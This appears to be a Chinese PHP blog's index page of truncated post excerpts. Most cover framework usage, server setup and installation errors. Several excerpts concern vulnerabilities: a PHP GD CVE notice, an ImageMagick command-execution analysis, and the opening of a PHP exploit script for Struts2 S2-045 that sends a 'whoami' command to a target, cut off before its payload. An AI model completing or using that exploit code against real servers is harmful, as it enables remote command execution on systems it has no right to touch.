Author: Orange Tsai(@orange_8361) from DEVCORE
Recently, I reviewed several Web frameworks and language implementations, and found some vulnerabilities.
This is an simple and interesting case, and seems easy to exploit in real world!
Affected
All PHP version
PHP 5 < 5.6.33
PHP 7.0 < 7.0.27
PHP 7.1 < 7.1.13
PHP 7.2 < 7.2.1
Vulnerability Details
The vulnerability is on the file ext...
CVE-2018-5711, GD漏洞阅读全文
/**
* Created by IntelliJ IDEA.
* User: jisec.com
* Date: 2017/3/7
* Time: 下午4:45
*/
function getContext($url, $content, $commend){
$ret = http_request($url, null, $commend);
printf($ret);
};
function http_request($url, $data = null, $commend = "whoami")
{
$curl = curl_init();
$header[0] = "Accept: text/xml,application/xml,application/xhtml+xml,";
$header[0] .= "text/html;q=0.9,text...
CVE-2017-5638, S2-045阅读全文
Laravel5.2的目录结构如下
app
Commands
Console
Events
Handlers
Commands
Events
Http
Controllers
Middleware
Requests
Providers
Services
bootstrap
config
database
migrations
seeds
public
package
resources
...
laravel5 laravel5.2阅读全文
公众号每次调用接口时,可能获得正确或错误的返回码,开发者可以根据返回码信息调试接口,排查错误。
全局返回码说明如下
返回码
说明
-1
系统繁忙
0
请求成功
40001
获取access_token时AppSecret错误,或者access_token无效(可以重置试试)
40002
不合法的凭证类型
40003
不合法的OpenID
40004
不合法的媒体文件类型
40005
不合法的文件类型
40006
不合法的文件大小
40007
不合法的媒体文件id
40008
...
微信公众号, 微信公众号errcode阅读全文
php7编译安装phpredis扩展报一下错误的解决办法
hecking whether -lc should be explicitly linked in... no
checking dynamic linker characteristics... GNU/Linux ld.so
checking how to hardcode library paths into programs... immediate
checking whether stripping libraries is possible... yes
checking if libtool supports shared libraries... yes
checking whether to build shared libraries... yes
checking w...
php7-redis扩展, PHP安装phpredis报错阅读全文
配置防火墙,开启80端口、3306端口
CentOS 7.0默认使用的是firewall作为防火墙,这里改为iptables防火墙。
1、关闭firewall:
systemctl stop firewalld.service #停止firewall
systemctl disable firewalld.service #禁止firewall开机启动
2、安装iptables防火墙
yum install iptables-services #安装
vi /etc/sysconfig/iptables #编辑防火墙配置文件
# Firewall configuration written by system-config-firewall
# Manual ...
nginx1.10.0, PHP7阅读全文
添加第三方源
由于ubuntu各个版本目前都没有官方的PHP7.0的源,所以我们只能自己添加第三方的源
sudo add-apt-repository ppa:ondrej/php
更新源,安装PHP
添加源之后,我们需要更新源。然后正式开始安装PHP7.0
sudo apt-get update
sudo apt-get install php7.0
最后安装常用扩展
目前该第三方源已经提供了大部分常用的PHP扩展。但是需要注意的是,目前该源中的PHP扩展,部分是部分是根据PHP7重写的,部分是兼容模式的
PHP...
Php, php-memcache, PHP7, php7-redis, php7-redis扩展, PHP7.0, phpredis, redis扩展阅读全文
安装最新的php7.0.6在安装成功后运行 php -m 查看安装了哪些扩展 ,或者执行任意php命令报错
php -v
PHP Deprecated: PHP Startup: memcached.sess_lock_wait and memcached.sess_lock_max_wait are deprecated. Please update your configuration to use memcached.sess_lock_wait_min, memcached.sess_lock_wait_max and memcached.sess_lock_retries in Unknown on line 0
Deprecated: PHP Startup: memcached.sess_lock_wa...
Deprecated: PHP Startup, PHP7, PHP7.0.6阅读全文
Yii CDbCriteria 常用方法
注:$c = new CDbCriteria();是ActiveRecord的一种写法,使ActiveRecord更加灵活,而不是手册中DAO(PDO)和Query Builder。
官方手册地址:http://www.yiiframework.com/doc/api/1.1/CDbCriteria
这是Yii CDbCriteria的一些笔记和常用用法:
一、一个sql拼装的情况
PHP代码
Php代码
$criteria = new CDbCriteria;
//函数方式
$criteria->addCondition("id=1"); //查询条件,即where id = 1
$cri...
CDBCriteria, yii1.1阅读全文
public function getMinLimit () {
$sql = "...";
$result = yii::app()->db->createCommand($sql);
$query = $result->queryAll();
return array (
$query [0] ['max'],
);
}
$connection=Yii::app()->db;
$sql="SELECT u.account,i.* FROM sys_user as u left join user_info as i on u.id=i.user_id";
$rows=$connection->createCommand ($sql)->query();...
Php, yii1.1阅读全文
蚊子
嗡嗡嗡。
ImageMagick
ImageMagick 昨天曝出 CVE-2016-3714,Java、PHP 的库也受其影响。其中 PHP 的库 Imagick 应用广泛,波及也大。Wordpress 也就是受此漏洞影响出现了 RCE。
这个漏洞很蠢,ImageMagick 在 MagickCore/constitute.c 的 ReadImage 函数中解析图片,如果图片地址是 https:// 开头的,即调用 InvokeDelegate。
MagickCore/delegate.c 定义了委托,第 99 行定义了要执行的命令。
最终 InvokeDelegate 调用 ...
ImageMagick漏洞, ImageMagick漏洞POC, ImageMagick漏洞利用, Wordpress 4.5.1漏洞, Wordpress 4.5.1的远程命令执行阅读全文
首先mac 是自带了php环境 我们需要自己再安装一个php然后替换掉原有的php就可以了
1.安装homebrew
homebrew是mac下非常好用的包管理器,会自动安装相关的依赖包,将你从繁琐的软件依赖安装中解放出来。
安装homebrew也非常简单,只要在终端中输入:
ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
homebrew的常用命令:
brew update #更新可安装包的最新信息,建议每次安装前都运...
Mac os x PHP, Mac安装php, Mac替换自带的PHP阅读全文